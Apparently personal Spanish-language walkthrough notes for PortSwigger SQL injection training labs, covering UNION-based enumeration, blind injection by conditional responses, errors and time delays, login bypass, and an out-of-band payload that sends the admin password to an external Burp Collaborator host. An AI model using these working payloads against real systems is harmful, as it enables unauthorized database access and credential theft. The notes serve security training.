Al igual que con la inyección SQL normal, los ataques de inyección SQL ciega se pueden prevenir mediante el uso cuidadoso de consultas parametrizadas, que garantizan que la entrada del usuario no interfiera con la estructura de la consulta SQL prevista.

## SQL injection cheat sheet
https://portswigger.net/web-security/sql-injection/cheat-sheet

## Labs
### SQL injection UNION attack, determining the number of columns returned by the query
Laboratorio: ataque UNION de inyección SQL, determinando el número de columnas devueltas por la consulta

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puede utilizar un ataque UNION para recuperar datos de otras tablas. El primer paso de dicho ataque es determinar la cantidad de columnas que devuelve la consulta. Luego, usará esta técnica en laboratorios posteriores para construir el ataque completo.

Para resolver el laboratorio, determine el número de columnas devueltas por la consulta realizando un ataque UNION de inyección SQL que devuelve una fila adicional que contiene valores nulos.

`' UNION SELECT NULL,NULL,NULL --`

### SQL injection UNION attack, finding a column containing text
Laboratorio: ataque UNION de inyección SQL, búsqueda de una columna que contiene texto

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puede utilizar un ataque UNION para recuperar datos de otras tablas. Para construir un ataque de este tipo, primero debe determinar el número de columnas devueltas por la consulta. Puede hacer esto usando una técnica que aprendió en un laboratorio anterior . El siguiente paso es identificar una columna que sea compatible con los datos de la cadena.

El laboratorio proporcionará un valor aleatorio que debe hacer que aparezca dentro de los resultados de la consulta. Para resolver el laboratorio, realice un ataque UNION de inyección SQL que devuelva una fila adicional que contenga el valor proporcionado. Esta técnica le ayuda a determinar qué columnas son compatibles con los datos de cadena.

`' UNION SELECT NULL,'vxNj7G',NULL --`

### SQL injection UNION attack, retrieving data from other tables
Laboratorio: ataque UNION de inyección SQL, recuperación de datos de otras tablas

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puede utilizar un ataque UNION para recuperar datos de otras tablas. Para construir un ataque de este tipo, debe combinar algunas de las técnicas que aprendió en los laboratorios anteriores.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password.

Para resolver el laboratorio, realice un ataque UNION de inyección SQL que recupere todos los nombres de usuario y contraseñas, y use la información para iniciar sesión como usuario administrator.

`' UNION SELECT schema_name,NULL FROM information_schema.schemata --`

`' UNION SELECT TABLE_NAME,NULL FROM information_schema.tables WHERE table_schema='public' --`

`' UNION SELECT username,password FROM users --`

### SQL injection UNION attack, retrieving multiple values in a single column
Laboratorio: ataque UNION de inyección SQL, recuperando múltiples valores en una sola columna

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puede utilizar un ataque UNION para recuperar datos de otras tablas.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas usernamey password.

Para resolver el laboratorio, realice un ataque UNION de inyección SQL que recupere todos los nombres de usuario y contraseñas, y use la información para iniciar sesión como usuario administrator.

`' union select null, username||':'||password from users --`

Conectar con administrator:c5ju2m5iok5xxuqwryzq

### SQL injection attack, querying the database type and version on Oracle
Laboratorio: ataque de inyección SQL, consulta del tipo y versión de la base de datos en Oracle

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Puede utilizar un ataque UNION para recuperar los resultados de una consulta inyectada.

Para resolver la práctica de laboratorio, muestre la cadena de versión de la base de datos.

Nota
En las bases de datos de Oracle, cada declaración SELECT debe especificar una tabla para seleccionar FROM. Si su ataque UNION SELECT no consulta desde una tabla, deberá incluir la palabra clave FROM seguida de un nombre de tabla válido.

Hay una tabla incorporada en Oracle llamada DUAL que puede usar para este propósito. Por ejemplo: UNION SELECT 'abc' FROM DUAL

`' union select banner,null from v$version--`

### SQL injection attack, querying the database type and version on MySQL and Microsoft

Laboratorio: ataque de inyección SQL, consulta del tipo y versión de la base de datos en MySQL y Microsoft

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Puede utilizar un ataque UNION para recuperar los resultados de una consulta inyectada.

Para resolver la práctica de laboratorio, muestre la cadena de versión de la base de datos.

-------------------------

**NOTA IMPORTANTE**
`-- - ES NECESARIO en Microsoft/MySQL, -- no sirve`

------------------

`' UNION SELECT @@version,null-- -`

### SQL injection attack, listing the database contents on non-Oracle databases
Laboratorio: ataque de inyección SQL, enumerando el contenido de la base de datos en bases de datos que no son de Oracle

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Los resultados de la consulta se devuelven en la respuesta de la aplicación para que pueda usar un ataque UNION para recuperar datos de otras tablas.

La aplicación tiene una función de inicio de sesión y la base de datos contiene una tabla que contiene nombres de usuario y contraseñas. Debe determinar el nombre de esta tabla y las columnas que contiene, luego recuperar el contenido de la tabla para obtener el nombre de usuario y la contraseña de todos los usuarios.

Para resolver el laboratorio, inicie sesión como usuario administrator.

`' union select schema_name, null from information_schema.schemata-- -`

`' union select table_name, null from information_schema.tables WHERE table_schema='public'-- -`

users_msjvgr
products

`' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users_msjvgr'-- -`

password_cvuful
username_azpytd

`' UNION SELECT username_azpytd, password_cvuful FROM users_msjvgr-- -`

Conectar con administrator:b9r1v2a5odfzhx6oybqt

### Lab: SQL injection attack, listing the database contents on Oracle
Laboratorio: ataque de inyección SQL, enumerando el contenido de la base de datos en Oracle

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Los resultados de la consulta se devuelven en la respuesta de la aplicación para que pueda usar un ataque UNION para recuperar datos de otras tablas.

La aplicación tiene una función de inicio de sesión y la base de datos contiene una tabla que contiene nombres de usuario y contraseñas. Debe determinar el nombre de esta tabla y las columnas que contiene, luego recuperar el contenido de la tabla para obtener el nombre de usuario y la contraseña de todos los usuarios.

Para resolver el laboratorio, inicie sesión como usuario administrator.

Nota
En las bases de datos de Oracle, cada declaración SELECT debe especificar una tabla para seleccionar FROM. Si su ataque UNION SELECT no consulta desde una tabla, deberá incluir la palabra clave FROM seguida de un nombre de tabla válido.

Hay una tabla incorporada en Oracle llamada DUAL que puede usar para este propósito. Por ejemplo: UNION SELECT 'abc' FROM DUAL

------------------
**ÚTIL**

https://docs.oracle.com/cd/B28359_01/server.111/b28320/statviews_2105.htm

------------------------

`' union SELECT distinct owner, null FROM all_tables -- -`

`' union SELECT table_name, owner FROM all_tables -- -`

USERS_RCKDDR
SYSTEM

Está en la tabla SYSTEM

`' UNION SELECT column_name, null FROM all_tab_columns WHERE table_name = 'USERS_RCKDDR'--`

PASSWORD_CENWHC
USERNAME_TRBRTJ

`' UNION SELECT USERNAME_TRBRTJ,PASSWORD_CENWHC FROM USERS_RCKDDR--`

Conectar con administrator:4fhsn3sokuhb90oarnxh

### Blind SQL injection with conditional responses

Laboratorio: inyección SQL ciega con respuestas condicionales

Este laboratorio contiene una vulnerabilidad de inyección SQL ciega. La aplicación utiliza una cookie de seguimiento para análisis y realiza una consulta SQL que contiene el valor de la cookie enviada.

Los resultados de la consulta SQL no se devuelven y no se muestran mensajes de error. Pero la aplicación incluye un mensaje de "Welcome back" en la página si la consulta devuelve filas.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Debe aprovechar la vulnerabilidad de inyección SQL ciega para averiguar la contraseña del usuario administrator.

Para resolver el laboratorio, inicie sesión como usuario administrator.

Nota
Para usuarios más avanzados, la solución descrita aquí podría hacerse más elegante de varias formas. Por ejemplo, en lugar de iterar sobre cada carácter, puede realizar una búsqueda binaria del espacio de caracteres. O puede crear un solo ataque Intrudcer con dos posiciones de payload y el tipo de ataque "Cluster bomb", y trabajar con todas las permutaciones de offsets y valores de caracteres.

`TrackingId=x'+OR+1=1--` devuelve Welcome back
`TrackingId=x'+OR+1=1--` NO devuelve Welcome back

`x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'--` devuelve Welcome back porque el usuario administrator existe

Comprobar cuantos caracteres tiene la contraseña (20 en este caso), usar el Intruder con un ataque de tipo Sniper para ir más ágil

TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>1--

TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>2--


IMPORTANTE: CLUSTER BOMB




Conectar con administrator:18uvxt8wa8amaelcx03z

### Blind SQL injection with conditional errors

Laboratorio: inyección SQL ciega con errores condicionales

Este laboratorio contiene una vulnerabilidad de inyección SQL ciega. La aplicación utiliza una cookie de seguimiento para análisis y realiza una consulta SQL que contiene el valor de la cookie enviada.

Los resultados de la consulta SQL no se devuelven y la aplicación no responde de forma diferente en función de si la consulta devuelve filas. Si la consulta SQL causa un error, la aplicación devuelve un mensaje de error personalizado.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Debe aprovechar la vulnerabilidad de inyección SQL ciega para averiguar la contraseña del usuario administrator.

Para resolver el laboratorio, inicie sesión como usuario administrator.

`TrackingId=''` devuelve error

`TrackingId=''` NO devuelve error

CASE es como una instrucción IF-THEN-ELSE.

Evalúa una expresión si la condición es verdadera y otra expresión si la condición es falsa.

Cuando la condición es verdadera, va la expresión que contiene una división por cero, lo que provoca un error.

Una división por cero en programación es un clásico error lógico.

`TrackingId='+UNION+SELECT+CASE+WHEN+(1=1)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual--` devuelve error

`TrackingId='+UNION+SELECT+CASE+WHEN+(1=2)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual--` NO devuelve error

`TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--` devuelve error porque administrator existe

`TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+length(password)>1)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--`

Llevar al Repeater o Intruder e ir probando

Cuando la condición deja de ser cierta (es decir, cuando el error desaparece), ha determinado la longitud de la contraseña, que en realidad tiene 20 caracteres.

`TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,1,1)='a')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--`

Ataque Clusterbomb
Number: 1-20 step 1
Simple list: a-z 0-9

Pulsar la columna Status para filtrar por código de estado HTTP 500 cuando ocurre el error. o directamente en Filter arriba

Apuntar la contraseña y conectar con administrator:s2lua0c8ona1duhha1d1

### Blind SQL injection with time delays

Laboratorio: inyección SQL ciega con retrasos de tiempo

Este laboratorio contiene una vulnerabilidad de inyección SQL ciega. La aplicación utiliza una cookie de seguimiento para análisis y realiza una consulta SQL que contiene el valor de la cookie enviada.

Los resultados de la consulta SQL no se devuelven y la aplicación no responde de forma diferente en función de si la consulta devuelve filas o provoca un error. Sin embargo, dado que la consulta se ejecuta de forma sincrónica, es posible desencadenar retrasos de tiempo condicionales para inferir información.

Para resolver el laboratorio, aproveche la vulnerabilidad de inyección SQL para provocar un retraso de 10 segundos.

`TrackingId=x'||pg_sleep(10)--`

Mandar al Repeater para que se vea el tiempo que tarda también

10,058 milis

### Blind SQL injection with time delays and information retrieval

**EN ESTA CONCATENAS DOS CONSULTAS SQL CON ;**

Laboratorio: Inyección SQL ciega con retrasos y recuperación de información

Este laboratorio contiene una vulnerabilidad de inyección SQL ciega . La aplicación utiliza una cookie de seguimiento para análisis y realiza una consulta SQL que contiene el valor de la cookie enviada.

Los resultados de la consulta SQL no se devuelven y la aplicación no responde de forma diferente en función de si la consulta devuelve filas o provoca un error. Sin embargo, dado que la consulta se ejecuta de forma sincrónica, es posible desencadenar retrasos de tiempo condicionales para inferir información.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas usernamey password. Debe aprovechar la vulnerabilidad de inyección SQL ciega para averiguar la contraseña del usuario administrator.

Para resolver el laboratorio, inicie sesión como usuario administrator.

`TrackingId='%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--` tarda 10 segundos

`TrackingId='%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--` de inmediato sin demora

**BAJAR EL pg_sleep a mucho menos, 0.2 o 1 seg.**

`TrackingId='%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` confirmar que hay un usuario administrator

`TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+length(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--`

Llevar al Repeater o Intruder (con Numbers) e ir probando

`TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--`

**Cluster bomb**

Identificar carácter correcto controlando el tiempo que tarda la aplicación en responder a cada solicitud.

Para que este proceso sea lo más confiable posible, debe configurar el ataque Intruder para que emita solicitudes en un solo hilo. Options tab --> "Request Engine" --> "Number of threads" to 1

Burp Intruder monitorea el tiempo que tarda en recibirse la respuesta de la aplicación, pero de forma predeterminada no muestra esta información. Para verlo, vaya al menú "Columns" y marque la casilla "Response received".

Response received: milisegundos que ha tardado la aplicación en responder

HIGHLIGHTEAR Y FILTRAR POR HIGHLIGHTEADAS

Conectar con administrator:df3toz8mqzunci5mf22f

### Blind SQL injection with out-of-band interaction

Laboratorio: inyección SQL ciega con interacción fuera de banda

Este laboratorio contiene una vulnerabilidad de inyección SQL ciega . La aplicación utiliza una cookie de seguimiento para análisis y realiza una consulta SQL que contiene el valor de la cookie enviada.

La consulta SQL se ejecuta de forma asincrónica y no tiene ningún efecto en la respuesta de la aplicación. Sin embargo, puede desencadenar interacciones fuera de banda con un dominio externo.

Para resolver el laboratorio, aproveche la vulnerabilidad de inyección de SQL para provocar una búsqueda de DNS en el servidor público Burp Collaborator ( burpcollaborator.net).

La solución descrita aquí es suficiente simplemente para activar una búsqueda de DNS y así resolver el laboratorio. En una situación del mundo real, usaría el cliente Burp Collaborator para verificar que su payload haya desencadenado una búsqueda de DNS. Consulte el siguiente para ver un ejemplo de esto.

`TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--`

### Blind SQL injection with out-of-band data exfiltration

Laboratorio: inyección SQL ciega con exfiltración de datos fuera de banda

Este laboratorio contiene una vulnerabilidad de inyección SQL ciega. La aplicación utiliza una cookie de seguimiento para análisis y realiza una consulta SQL que contiene el valor de la cookie enviada.

La consulta SQL se ejecuta de forma asincrónica y no tiene ningún efecto en la respuesta de la aplicación. Sin embargo, puede desencadenar interacciones fuera de banda con un dominio externo.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Debe aprovechar la vulnerabilidad de inyección SQL ciega para averiguar la contraseña del usuario administrator.

Para resolver el laboratorio, inicie sesión como usuario administrator.

Burp --> Burp Collaborator client --> Copy to clipboard

hqb3ny574oa31m1blry1audqlhr7fw.burpcollaborator.net

`TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--`

Vuelva a la ventana del cliente Burp Collaborator y haga clic en "Sondear ahora". Si no ve ninguna interacción en la lista, espere unos segundos y vuelva a intentarlo, ya que la consulta del lado del servidor se ejecuta de forma asincrónica.

Debería ver algunas interacciones DNS y HTTP que fueron iniciadas por la aplicación como resultado de su payload. La contraseña del usuario administrator debe aparecer en el subdominio de la interacción, y puede verla dentro del cliente Burp Collaborator.

**SALE EN EL SEGUNDO SUBDOMINIO password.x.x**

Poll every 5 seconds

Para las interacciones de DNS, el nombre de dominio completo que se buscó se muestra en la pestaña Description.

Para las interacciones HTTP, el nombre de dominio completo se muestra en el encabezado del Host en la pestaña Request al Collaborator.

**Solucionar problema Collaborator no llegan interacciones**
Burp no puede abrir una conexión SSL confiable a Collaborator, debido al certificado autofirmado
Burp - Project options > Misc > Burp Collaborator Server --> Poll over unencrypted HTTP

Se puede hacer un Health Check

Conectar con administrator:jxv45jeu24f1vn12m84g

### SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Cuando el usuario selecciona una categoría, la aplicación realiza una consulta SQL como la siguiente:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Para resolver el laboratorio, realice un ataque de inyección SQL que haga que la aplicación muestre detalles de todos los productos en cualquier categoría, tanto lanzados como inéditos.

Utilice Burp Suite para interceptar y modificar la solicitud que establece el filtro de categoría de producto.

`/filter?category='+OR+1=1--`

### SQL injection vulnerability allowing login bypass

Laboratorio: vulnerabilidad de inyección SQL que permite eludir el inicio de sesión

Este laboratorio contiene una vulnerabilidad de inyección SQL en la función de inicio de sesión.

Para resolver el laboratorio, realice un ataque de inyección SQL que inicie sesión en la aplicación como usuario administrator.

Definir en el parámetro username al iniciar sesión: `administrator'--` o `' or 1=1 -- -`